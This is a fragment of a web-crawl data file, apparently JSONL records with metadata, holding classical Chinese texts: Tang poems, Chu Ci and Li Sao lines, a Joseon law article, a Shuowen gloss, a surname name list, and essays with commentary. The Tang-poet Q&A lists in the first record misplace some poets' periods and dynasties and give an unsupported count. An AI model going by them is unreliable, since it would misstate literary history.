唐代三大诗人之一主要作品为兵车行春望茅屋为秋风所破歌闻官军收河南河北新安吏石壕吏潼关吏三别〈新婚别垂老别无家别〉等。\n2、唐代有哪些诗人?初唐 王绩 王勃 沈佺期 陈子昂 贺知章 杨炯 宋之问 张九龄 张旭 卢照邻 包融 骆宾王 张若虚 盛唐 王维 岑参 李白 杜甫 孟浩然 高适 储光羲 李颀 刘长卿 崔颢 韦应物 王昌龄 柳宗元 王之涣 中唐 元结 戴叔伦 卢纶 张籍 白居易 孟郊 李贺 钱起 王建 元稹;唐代都有哪些著名诗人请列举二十个 李白 岑参;唐朝有名的诗人有哪些?;唐代的诗人有哪些? 李白 杜甫 白居易 岑参 王维 王勃 骆宾王 杨炯 卢照邻 张九龄 张若虚 贺知章 孟浩然 孟郊 李商隐 杜牧 王湾 王建 王昌龄 王之涣 李贺 张籍 张继 李贺 顾况 高适 韩愈 刘禹锡 温庭筠 柳宗元 李煜 李璟 张炽 颜真卿 卢纶 常建 刘长卿 张志和 韦应物 李峤。\n3、唐朝诗人有哪些?得很 初唐:虞世南上官仪王绩王梵志寒山王勃杨炯卢照邻骆宾王沈佺期宋之问李峤苏味道崔融杜审言张若虚刘希夷陈子昂 盛唐:张九龄张说贺知章王湾孟浩然储光羲常建祖咏王维高适岑参王昌龄王之涣刘湾张渭李白杜甫白居易元结顾况戴叔伦张籍王建元稹李绅 中唐:韦应物刘长卿李益李端卢纶吉中孚钱起司空曙苗发夏侯审刘禹锡柳宗元韩愈孟郊贾岛姚合李贺 晚唐:杜牧李商隐温庭筠韦庄李群玉韩偓司空图皮日休聂夷中杜荀鹤 其实还有很多很多诗人;中国唐代一共有多少个诗人 大唐的诗人有2536位比较有代表的有李白,白居易杜甫;唐朝的诗人有哪些 诗仙 李白 诗圣 杜甫 诗魔 诗王 白居易诗豪 刘禹锡 诗魔 白居易 诗鬼 李贺 诗佛 王维 诗囚 孟郊 诗瓢诗奴 贾岛 诗骨 陈子昂 诗狂 贺知章 诗杰 王勃 诗家天子\\七绝圣手 王昌龄。","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/www.themossshow.com\/detail_uEV2u7oiv6+au7TvuDhau7h+uDdfu7hTuD+6uD+Av6+a.shtml","date":"2022-10-05T22:38:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337668.62\/warc\/CC-MAIN-20221005203530-20221005233530-00077.warc.gz","language":"lzh","language_score":0.5403461456,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5403461456298828, \"cmn_Hani_score\": 0.3310355246067047, \"nan_Hani_score\": 0.1071910411119461, \"wuu_Hani_score\": 0.015056280419230461}","num_words":167,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":0.58,"perplexity_score":500.0,"cluster_detection":1} +{"text":"桃源行,王維漁舟逐水愛山春,兩岸桃花夾古津。坐看紅樹不知遠,行盡清溪不見人。山口潛行始隈隩,山開曠望旋平陸。遙看一處攢雲樹,近入千家散花竹。樵客初傳漢姓名,居人未改秦衣服。居人共住武陵源,還從物外起田園。月明松下房櫳靜,日出雲中雞犬喧。驚聞俗客爭來集,競引還家問都邑。平明閭巷掃花開,薄暮漁樵乘水入。初因避地去人間,更聞神仙遂不還。峽裏誰知有人事,世中遙望空雲山。不疑靈境難聞見,塵心未盡思鄉縣。出洞無論隔山水,辭家終擬長遊衍。自謂經過舊不迷,安知峯壑今來變。當時只記入山深,青溪幾度到雲林。春來遍是桃花水,不辨仙源何處尋?\n古從軍行, 李頎白日登山望烽火,黃昏飲馬傍交河。行人刁斗風沙暗,公主琵琶幽怨多。野營萬里無城郭,雨雪紛紛連大漠。胡雁哀鳴夜夜飛,胡兒眼淚雙雙落。聞道玉門猶被遮,應將性命逐輕車。年年戰骨埋荒外,空見葡萄入漢家。\n琵琶行,白居易潯陽江頭夜送客,楓葉荻花秋瑟瑟。主人下馬客在船,舉酒欲飲無管弦;醉不成歡慘將別,別時茫茫江浸月。忽聞水上琵琶聲,主人忘歸客不發。尋聲暗問彈者誰?琵琶聲停欲語遲。移船相近邀相見,添酒回燈重開宴。千呼萬喚始出來,猶抱琵琶半遮面。轉軸撥弦三兩聲,未成曲調先有情。弦弦掩抑聲聲思,似訴平生不得志。低眉信手續續彈,說盡心中無限事。輕攏慢撚抹復挑,初為霓裳後六么。大弦嘈嘈如急雨,小弦切切如私語:嘈嘈切切錯雜彈,大珠小珠落玉盤。間關鶯語花底滑,幽咽泉流水下灘。水泉冷澀弦凝絕,凝絕不通聲漸歇。別有幽愁暗恨生,此時無聲勝有聲。銀瓶乍破水漿迸,鐵騎突出刀鎗鳴。曲終收撥當心畫,四弦一聲如裂帛。東船西舫悄無言,唯見江心秋月白。 沈吟放撥插弦中,整頓衣裳起斂容。自言本是京城女,家在蝦蟆陵下住。十三學得琵琶成,名屬教坊第一部。曲罷曾教善才服,妝成每被秋娘妒。五陵年少爭纏頭,一曲紅綃不知數。鈿頭銀篦擊節碎,血色羅裙翻酒汙。今年歡笑復明年,秋月春風等閑度。弟走從軍阿姨死,暮去朝來顏色故;門前冷落車馬稀,老大嫁作商人婦。商人重利輕別離,前月浮梁買茶去。去來江口守空船,繞船月明江水寒。夜深忽夢少年事,夢啼妝淚紅闌干。 我聞琵琶已歎息,又聞此語重唧唧。同是天涯淪落人,相逢何必曾相識?我從去年辭帝京,謫居臥病潯陽城。潯陽地僻無音樂,終歲不聞絲竹聲。住近湓江地低濕,黃蘆苦竹繞宅生。其間旦暮聞何物?杜鵑啼血猿哀鳴。春江花朝秋月夜,往往取酒還獨傾。豈無山歌與村笛?嘔啞嘲哳難為聽。今夜聞君琵琶語,如聽仙樂耳暫明。莫辭更坐彈一曲,為君翻作琵琶行。感我此言良久立,卻坐促弦弦轉急。淒淒不似向前聲,滿座重聞皆掩泣。座中泣下誰最多?江州司馬青衫濕。\n長恨歌, 白居易 漢皇重色思傾國,御宇多年求不得。楊家有女初長成,養在深閨人未識。天生麗質難自棄,一朝選在君王側。回眸一笑百媚生,六宮粉黛無顏色。春寒賜浴華清池,溫泉水滑洗凝脂。侍兒扶起嬌無力,始是新承恩澤時。雲鬢花顏金步搖,芙蓉帳暖度春宵。春宵苦短日高起,從此君王不早朝。承歡侍宴無閒暇,春從春遊夜專夜。後宮佳麗三千人,三千寵愛在一身。金屋妝成嬌侍夜,玉樓宴罷醉和春。姊妹弟兄皆列土,可憐光彩生門戶。遂令天下父母心,不重生男重生女。驪宮高處入青雲,仙樂風飄處處聞。緩歌慢舞凝絲竹,盡日君王看不足。漁陽鼙鼓動地來,驚破霓裳羽衣曲。九重城闕煙塵生,千乘萬騎西南行。翠華搖搖行復止,西出都門百餘里。六軍不發無奈何,宛轉蛾眉馬前死。花鈿委地無人收,翠翹金雀玉搔頭。君王掩面救不得,回看血淚相和流。黃埃散漫風蕭索,雲棧縈紆登劍閣。峨嵋山下少人行,旌旗無光日色薄。蜀江水碧蜀山青,聖主朝朝暮暮情。行宮見月傷心色,夜雨聞鈴腸斷聲。天旋地轉回龍馭,到此躊躇不能去。馬嵬坡下泥土中,不見玉顏空死處。君臣相顧盡沾衣,東望都門信馬歸。歸來池苑皆依舊,太液芙蓉未央柳。芙蓉如面柳如眉,對此如何不淚垂。春風桃李花開日,秋雨梧桐葉落時。西宮南內多秋草,落葉滿階紅不掃。梨園弟子白髮新,椒房阿監青娥老。夕殿螢飛思悄然,孤燈挑盡未成眠。遲遲鐘鼓初長夜,耿耿星河欲曙天。鴛鴦瓦冷霜華重,翡翠衾寒誰與共。悠悠生死別經年,魂魄不曾來入夢。臨邛道士鴻都客,能以精誠致魂魄。爲感君王輾轉思,遂教方士殷勤覓。排空馭氣奔如電,昇天入地求之遍。上窮碧落下黃泉,兩處茫茫皆不見。忽聞海上有仙山,山在虛無縹渺間。樓閣玲瓏五雲起,其中綽約多仙子。中有一人字太真,雪膚花貌參差是。金闕西廂叩玉扃,轉教小玉報雙成。聞道漢家天子使,九華帳裏夢魂驚。攬衣推枕起徘徊,珠箔銀屏迤邐開。雲鬢半偏新睡覺,花冠不整下堂來。風吹仙袂飄飄舉,猶似霓裳羽衣舞。玉容寂寞淚闌干,梨花一枝春帶雨。含情凝睇謝君王,一別音容兩渺茫。昭陽殿裏恩愛絕,蓬萊宮中日月長。回頭下望人寰處,不見長安見塵霧。惟將舊物表深情,鈿合金釵寄將去。釵留一股合一扇,釵擘黃金合分鈿。但教心似金鈿堅,天上人間會相見。臨別殷勤重寄詞,詞中有誓兩心知。七月七日長生殿,夜半無人私語時。在天願作比翼鳥,在地願爲連理枝。天長地久有時盡,此恨綿綿無絕期。\n漁翁, 柳宗元漁翁夜傍西岩宿,曉汲清湘然楚竹。煙銷日出不見人,欸乃一聲山水綠。迴看天際下中流,岩上無心雲相逐。","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/heta.link\/author\/et\/","date":"2023-01-28T09:42:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499541.63\/warc\/CC-MAIN-20230128090359-20230128120359-00333.warc.gz","language":"lzh","language_score":0.5154924393,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5154924392700195, \"cmn_Hani_score\": 0.135245680809021, \"nan_Hani_score\": 0.12773293256759644, \"zxx_Latn_score\": 0.027634842321276665, \"yue_Hani_score\": 0.024328740313649178, \"und_Tang_score\": 0.018331611528992653, \"und_Yiii_score\": 0.013235477730631828}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.482,"perplexity_score":500.0,"cluster_detection":1} +{"text":"筵筦筟三名一物也。方言曰。繀車、趙魏之閒謂之轣轆車。東齊海岱之閒謂之道軌。按自其轉旋言之。謂之厤鹿。亦謂之道軌。亦謂之鹿車。自其箸絲之筳言之。謂之繀車。亦謂之筟車。實卽今之籆車也。\n公子彄見春秋經隠公五年。臧僖伯也。孚聲在三部。區聲在四部。合音冣近。今音芳無切。","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.shuowen.org\/view\/2894?pinyin=fu","date":"2024-04-23T01:47:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818452.78\/warc\/CC-MAIN-20240423002028-20240423032028-00736.warc.gz","language":"lzh","language_score":0.4049084187,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4049084186553955, \"cmn_Hani_score\": 0.3455580472946167, \"jpn_Jpan_score\": 0.11855010688304901, \"nan_Hani_score\": 0.05740834400057793, \"wuu_Hani_score\": 0.030536677688360214, \"yue_Hani_score\": 0.012912668287754059}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.405,"perplexity_score":500.0,"cluster_detection":1} +{"text":"世间皆浊唯我独清,众人皆醉唯我独醒。路漫漫其修远今,吾将上下而求索。亦余心之所善兮,虽九死其犹未悔。尺有所短;寸有所长。物有所不足;智有所不明。百金买骏马,千金买美人;万金买高爵,何处买青春?尺有所短,寸有所长。身既死兮神以灵,子魂魄兮为鬼雄。新沐者必弹冠,新浴者必振衣。乐莫乐兮新相知。","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/www.mrgushi.com\/mingyan\/1610.html","date":"2018-10-16T05:57:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510019.12\/warc\/CC-MAIN-20181016051435-20181016072935-00436.warc.gz","language":"lzh","language_score":0.5733876228,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.573387622833252, \"cmn_Hani_score\": 0.1593696027994156, \"zxx_Latn_score\": 0.06597059965133667, \"yue_Hani_score\": 0.020441025495529175, \"jpn_Jpan_score\": 0.019421342760324478, \"wuu_Hani_score\": 0.019338732585310936, \"und_Ethi_score\": 0.017423642799258232, \"nan_Hani_score\": 0.01447682548314333}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.563,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第228條 主將不固守\n1.凡守邊將帥 被賊攻圍城寨, 不行固守而輒棄去 及 守備不設爲賊所掩襲 因而失陷城寨者 斬. 若與賊臨境 其望高巡哨之人 失於飛報 以致陷城損軍者 亦斬. 若被賊侵入境內 擄掠人民者 杖一百 發邊遠充軍.\n2.其官軍臨陣先退及圍困敵城而逃者 斬.\n〔直解〕\n凡邊境軍官員弋只 防禦城郭乙 賊人亦 圍把爲有去乙 堅固守城不冬 棄去爲弥 鎭守虛疎乙仍于 賊人乙 掩襲令是旀 因此 城郭乙 失陷令是在乙良 並只 斬齊 賊人亦 臨境爲有去等 烽爑看望人及哨馬人等亦 遲晩馳報 陷城損軍令是在乙良 斬齊 賊人亦 侵入境內 虜掠人民爲只爲使內在乙良 杖一百 遠處充軍齊 軍官員亦 臨戰先退爲弥 敵城乙 圍把窮困爲有去乙 逃亡爲在乙良 斬爲乎事.","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_170_0140_0010_0080","date":"2020-05-25T08:04:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347388012.14\/warc\/CC-MAIN-20200525063708-20200525093708-00428.warc.gz","language":"lzh","language_score":0.4965896308,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.49658963084220886, \"cmn_Hani_score\": 0.3833931088447571, \"nan_Hani_score\": 0.08921587467193604, \"yue_Hani_score\": 0.014285539276897907, \"jpn_Jpan_score\": 0.011724014766514301}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.497,"perplexity_score":500.0,"cluster_detection":1} +{"text":"燕姓宝宝,燕姓名字大全,以供燕姓爸妈们给宝宝起名参考。\n燕姓起名燕姓名字大全\n燕姓名字大全列表:\n燕炀 燕阳天 燕亚锋 燕雅锋 燕烽 燕隗 燕立群 燕博文 燕宇皓 燕博文 燕永贺 燕永平 燕祥 燕洪祥 燕康祥 燕翔 燕子翔燕子明 燕谦骅 燕康弘 燕康凯 燕仔铭 燕梓铭 燕雪儿 燕洪祥 燕洪翔 燕宏翔 燕峰 燕洪洋 燕洪元 燕洪阳 燕宏阳 燕洪辉 燕素改燕如玉 燕培军 燕宁宁 燕立花 燕子 燕秀 燕立花 燕宇浩 燕立花 燕宇昊 燕宇颢 燕博文 燕刚 燕宇豪 燕红霞 燕枫 燕雪建 燕红霞燕仂尺 燕姝羽 燕如秋 燕柔裘 燕春丽 燕雪晴 燕姝羽 燕如伟 燕宏臣 燕姝羽 燕翔 燕冲 燕勇 燕立 燕亭 燕语庭 燕语笛 燕逸亭燕逸廷 燕羽欣 燕奇宁 燕一裴 燕辞 燕琤 燕黛夕 燕伶 燕伶尉 燕伶童 燕怡岑 燕小华 燕晓华 燕治呈 燕云鹏 燕云辉 燕洪辉 燕歌燕洪铭 燕洪明 燕令童 燕奕 燕子 燕风鸣 燕美羽 燕庆益 燕厚瑛 燕星含 燕思衔 燕庆益 燕镜文 燕正宇 燕泽宇 燕家豪 燕艺哲燕家琳 燕家慧 燕倩 燕倩 燕倩 燕雯敏 燕文敏 燕居怀 燕蕊 燕永 燕丽芳 燕姝含 燕姝睿 燕振国 燕一雪 燕思一 燕雪炎 燕金玉燕雨 燕雷 燕雨 燕翠玉 燕浩天 燕云天 燕金玉 燕佳\n燕培英 燕培洁 燕淼洁 燕雨洁 燕洁 燕浩洁 燕洁 燕雨洁 燕雯 燕斐 燕佳妮燕佳欣 燕培良 燕啸 燕佳绫 燕文斐 燕雯斐 燕曼妮 燕旖旎 燕美欣 燕美绫 燕美灵 燕格致 燕红波 燕宏川 燕红波 燕金玉 燕康连燕冠林 燕晓香 燕小霞 燕雯敏 燕聪 燕君芳 燕雯敏 燕俊雪 燕雪婷 燕珊 燕九天 燕琴 燕洪升 燕洪宝 燕洪辉 燕博文 燕洪祥燕洪宇 燕康升 燕垒生 燕雪琴 燕雪芹 燕雪琴 燕雪芹 燕妮波 燕丽波 燕妮妮 燕会娜 燕会娜 燕斌 燕佳佳 燕妮波 燕妮波 燕丽波燕妮妮 燕妮妮 燕妮土 燕妮坡 燕妮博 燕立波 燕妮帛 燕妮魄 燕妮玻 燕妮勃 燕妮箔 燕妮钵 燕妮卜 燕妮簸 燕妮蕃 燕妮泊 燕妮播燕霓波 燕昵波 燕昵 燕妮 燕丽 燕丽丽 燕丽博 燕黎波 燕黎 燕素兰 燕燕 燕瑞 燕海涛 燕瑞新 燕瑞瑞 燕元元 燕虎子 燕瑞 燕凌燕怡璇 燕静 燕来 燕德龙 燕瑞祥 燕献云 燕建三 燕治兴 燕宏涛 燕鹤天 燕洪升 燕秀华 燕晓颖 燕忻颖 燕鑫颖 燕昕颖 燕昕燕昕迎 燕昕颖 燕若豪 燕艺丹 燕佳楠 燕阳 燕瑞 燕昕昕 燕雨彤 燕苒 燕然 燕婷 燕倪 燕笑 燕艳 燕子康\n燕云龙 燕平 燕燕燕晓飞 燕儿 燕儿 燕容 燕容 燕容 燕容 燕容 燕冰 燕泓羽 燕泓方 燕楠飞 燕乔炫 燕运花 燕运花 燕结太 燕太山 燕杰 燕然燕伟华 燕晶 燕妍 燕妍 燕雅栋 燕枫 燕妍 燕忸 燕尥 燕英 燕安欣 燕安心 燕接泰 燕结太 燕艺萌 燕羽菲 燕柯林 燕子璇 燕瑞宏燕鹏帆 燕红 燕宏 燕昱宏 燕瑞红 燕鹏宇 燕昱宏 燕瑞红 燕昱宏 燕子 燕鹏帆 燕思琪 燕琪 燕心悦 燕瑞红 燕瑞宏 燕昱宏 燕松涛燕铃 燕玲 燕苓 燕菱 燕另 燕龄 燕聆 燕令 燕思淼 燕思渺 燕军 燕其韦 燕楠飞 燕七威 燕杰 燕此威 燕卫天 燕军 燕军 燕思慕燕碧瑶 燕思淼 燕南霖 燕恒为 燕鹏宇 燕立杰 燕鹏宇 燕俊旭 燕霞 燕东旭 燕纪荣 燕巨平 燕桂雪 燕丽叶 燕雪萍 燕蓉 燕可 燕孜燕采儿 燕俐 燕莉 燕红 燕烨 燕烨子 燕宏煜 燕一凡 燕鑫淼 燕淼 燕森淼 燕叶雪 燕烨雪 燕烨儿 燕鑫 燕淼 燕蕊 燕靖 燕靖萱燕萱 燕云贞 燕云 燕贞鸣 燕珍鸣 燕娟 燕飘 燕一可 燕一烨 燕琴 燕勤 燕飞 燕芳 燕芳 燕苓 燕苓 燕柃 燕玲 燕颖 燕永革燕龄 燕苓 燕琴 燕青 燕旭博 燕煦博 燕勖博 燕胥博 燕胥博 燕旭勃 燕许博 燕砉博 燕栩博 燕旭柏 燕苓 燕容 燕潮容 燕霄鹏燕霄朋 燕霄鹏 燕鸣 燕拥军 燕燕 燕翠艳 燕晶 燕晶 燕晶 燕贺平 燕玲珑 燕玲珑 燕玲珑 燕雅琴 燕雅琴 燕萱 燕萱琳 燕雅琪燕薇琪 燕婉清 燕涵蕾 燕诗蕾 燕语蝶 燕欣怡 燕雯静 燕娴静 燕娴雅 燕静蓓 燕静希 燕红杰 燕思宇 燕琳青 燕鹏帆 燕昱宏 燕两纤燕振昌 燕瑞婷 燕新红 燕新宏 燕玉宏 燕育宏 燕睿红 燕锐红 燕锐宏 燕昱宏 燕龙飞 燕果兰 燕浩然 燕翔宇 燕浩然 燕衍 燕飞燕芮鳞\n以上是燕姓起名燕姓名字大全的主要内容。\n起名网可免费提供新生儿、宝宝、男孩、女孩生辰八字免费取名测试。\n公司起名服务提供免费在线起公司名字,海量优质公司名字可选,快速知道公司名字能不能通过,公司名字自助查重。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/www.zyname.com\/name\/8560.html","date":"2021-02-27T03:27:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178358064.34\/warc\/CC-MAIN-20210227024823-20210227054823-00585.warc.gz","language":"lzh","language_score":0.9893618226,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.9893618226051331}","num_words":449,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"屈原\n吾令羲和弭节兮,望崦嵫而勿迫。路曼曼其修远兮,吾将上下而求索。\n饮余马于咸池兮,总余辔乎扶桑。折若木以拂日兮,聊逍遥以相羊。\n前望舒使先驱兮,后飞廉使奔属。鸾皇为余先戒兮,雷师告余以未具。\n吾令凤鸟飞腾兮,继之以日夜。飘风屯其相离兮,帅云霓而来御。\n纷总总其离合兮,斑陆离其上下。吾令帝阍开关兮,倚阊阖而望予。\n时暧暧其将罢兮,结幽兰而延伫。世溷浊而不分兮,好蔽美而嫉妒","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/theory.people.com.cn\/n\/2014\/0717\/c386828-25292638.html","date":"2021-07-31T20:38:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046154126.73\/warc\/CC-MAIN-20210731203400-20210731233400-00051.warc.gz","language":"lzh","language_score":0.8688318729,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.8688318729400635, \"cmn_Hani_score\": 0.05215507000684738, \"nan_Hani_score\": 0.03550638630986214, \"yue_Hani_score\": 0.017902178689837456, \"wuu_Hani_score\": 0.015617923811078072}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.392,"perplexity_score":500.0,"cluster_detection":1} +{"text":"《覈辯第八》\n俗士之所謂辯者,非辯也。非辯而謂之辯者,蓋聞辯之名,而不知辯之實。故目之妄也,俗之所謂辯者,利口者也。彼利口者,苟美其聲氣,繁其辭令;如激風之至,如暴雨之集,不論是非之性,不識曲直之理,期於不窮,務於必勝,以故淺識而好奇者,見其如此也,固以為辯。不知木訥而達道者,雖口屈而心不服也。夫辯者、求服人心也,非屈人口也。故辯之為言別也,為其善分別事類而明處之也,非謂言辭切給而以陵蓋人也。故《傳》稱《春秋》微而顯、婉而辯者,然則辯之言必約以至,不煩而諭,疾徐應節,不犯禮教,足以相稱。樂盡人之辭,善致人之志,使論者各盡得其願,而與之得解;其稱也無其名,其理也不獨顯,若此則可謂辯。故言有拙而辯者焉,有巧而不辯者焉。\n君子之辯也,欲以明大道之中也,是豈取一坐之勝哉!人心之於是非也,如口於味也,口者、非以己之調膳則獨美,而與人調之則不美也。故君子之於道也,在彼猶在己也。苟得其中,則我心悅焉,何擇於彼?苟失其中,則我心不悅焉,何取於此?故其論也,遇人之是則止矣,遇人之是而猶不止,苟言苟辯,則小人也。雖美說,何異乎鵙之好鳴、鐸之喧譁哉?故孔子曰:「小人毀訾以為辯,絞急以為智,不遜以為勇。」斯乃聖人所惡,而小人以為美,豈不哀哉?夫利口之所以得行乎世也,蓋有由也,且利口者、心足以見小數,言足以盡巧辭,給足以應切問,難足以斷俗疑。然而好說而不倦,諜諜如也。夫類族辯物之士者寡,而愚闇不達之人者多,孰知其非乎?此其所〔以〕無用而不見廢也,至賤而不見遺也。先王之法:(折)〔析〕言破律、亂名改作者,殺之;行僻而堅、言偽而辯、記醜而博、順非而澤者,亦殺之;為其疑眾惑民,而潰亂至道也。孔子曰:「巧言亂德。」惡似而非者也。","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/core.xueheng.net\/zhong_lun\/0008.htm","date":"2021-09-22T05:50:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057329.74\/warc\/CC-MAIN-20210922041825-20210922071825-00442.warc.gz","language":"lzh","language_score":0.5361158848,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5361158847808838, \"cmn_Hani_score\": 0.40882280468940735, \"nan_Hani_score\": 0.035734664648771286}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.627,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n范增論 蘇軾\n漢用陳平計、間疏楚君臣。項羽疑范增與漢有私、稍奪其權。增大怒曰、天下事大定矣、君王自爲之、願賜骸骨歸卒伍。歸未至彭城、疽發背死。蘇子曰、增之去善矣。不去、羽必殺增。略一提。獨恨其不早耳。劈下一斷、作冒。然則當以何事去。故作問。增勸羽殺沛公、羽不聽、終以此失天下、當於是去耶。故作問。曰否、增之欲殺沛公、人臣之分也。羽之不殺、猶有君人之度也。增曷爲以此去哉。故作答。 ○故作問答、以起下正意。易曰、知幾其神乎。詩曰、相彼雨雪、先集維霰。線、 ○霰、雪之始凝者也。將大雨雪、必先微溫。雪自上下、遇溫氣而搏、謂之霰。久而寒勝、則大雪矣。 ○先引詩易語、文勢不迫。增之去、當於羽殺卿子冠軍時也。義帝命宋義爲上將、號曰卿子冠軍、後爲項羽所殺。 ○通篇只一句斷盡。陳涉之得民也、以項燕扶蘇。陳涉初起兵、假楚將項燕、秦太子扶蘇爲名。二人已死、陳涉詐稱、以感動人心。 ○借陳涉引起項氏。項氏之興也、以立楚懷王孫心。而諸侯叛之也、以弑義帝。楚懷王入秦、無罪而亡、楚人憐之。南公曰、楚雖三戸、亡秦必楚。范增勸項梁求楚懷王孫名心者、立以爲楚懷王。項羽陽尊懷王爲義帝、陰使人弒之。 ○此言楚之盛衰、係于義帝之存亡。且義帝之立、增爲謀主矣。義帝之存亡、豈獨爲楚之盛衰、亦增之所與同禍福也。未有義帝亡、而增獨能久存者也。此言義帝之存亡、關乎范增之禍福。羽之殺卿子冠軍也、是弑義帝之兆也。其弑義帝、則疑增之本也。豈必待陳平哉。三人生死去就、最相關涉。推原出來、正見增之去、當于殺卿子冠軍時也。物必先腐也、而後蟲生之。人必先疑也、而後讒入之。陳平雖智、安能閒無疑之主哉。反振二句、結過疑增不待陳平意。吾嘗論義帝、天下之賢主也。獨遣沛公入關、不遣項羽。借遣沛公引起識卿子冠軍。識卿子冠軍于稠人之中、而擢以爲上將、不賢而能如是乎。歎義帝之賢、以起羽與義帝、勢不兩立。羽旣矯殺卿子冠軍、義帝必不能堪。非羽弑帝、則帝殺羽。不待智者而後知也。申上羽殺卿子冠軍、是弒義帝之兆句。增始勸項梁立義帝、諸侯以此服從。中道而弑之、非增之意也。夫豈獨非其意、將必力爭而不聽也。空中著想、妙。不用其言而殺其所立、羽之疑增、必自是始矣。申上弒義帝、則疑增之本句。方羽殺卿子冠軍、增與羽比肩而事義帝、救趙時、項羽爲次將、范增爲末將、故曰比肩事義帝。君臣之分未定也。爲增計者、力能誅羽則誅之、不能則去之、豈不毅然大丈夫也哉。代增處置一番。增年已七十、合則留、不合則去。不以此時明去就之分、而欲依羽以成功名、陋矣。責增之不能知幾、由于不明去就之分、最有關鎖。雖然、增、高帝之所畏也。增不去、項羽不亡。嗚呼、增亦人傑也哉。結尾作贊歎語、盡抑揚之致。\n前半多從實處發議、後半多從虛處設想。只就增去不能早處、層層駁入、段段迴環。變幻無端、不可測識。","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/neodu.com\/%E3%80%8A%E8%8C%83%E5%A2%9E%E8%AB%96%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2022-01-18T21:38:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301063.81\/warc\/CC-MAIN-20220118213028-20220119003028-00223.warc.gz","language":"lzh","language_score":0.509726882,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.509726881980896, \"cmn_Hani_score\": 0.1962733119726181, \"nan_Hani_score\": 0.09571173787117004, \"jpn_Jpan_score\": 0.026818251237273216, \"wuu_Hani_score\": 0.023690028116106987, \"yue_Hani_score\": 0.02341548353433609, \"zxx_Latn_score\": 0.01993565820157528}","num_words":12,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.509,"perplexity_score":500.0,"cluster_detection":1} 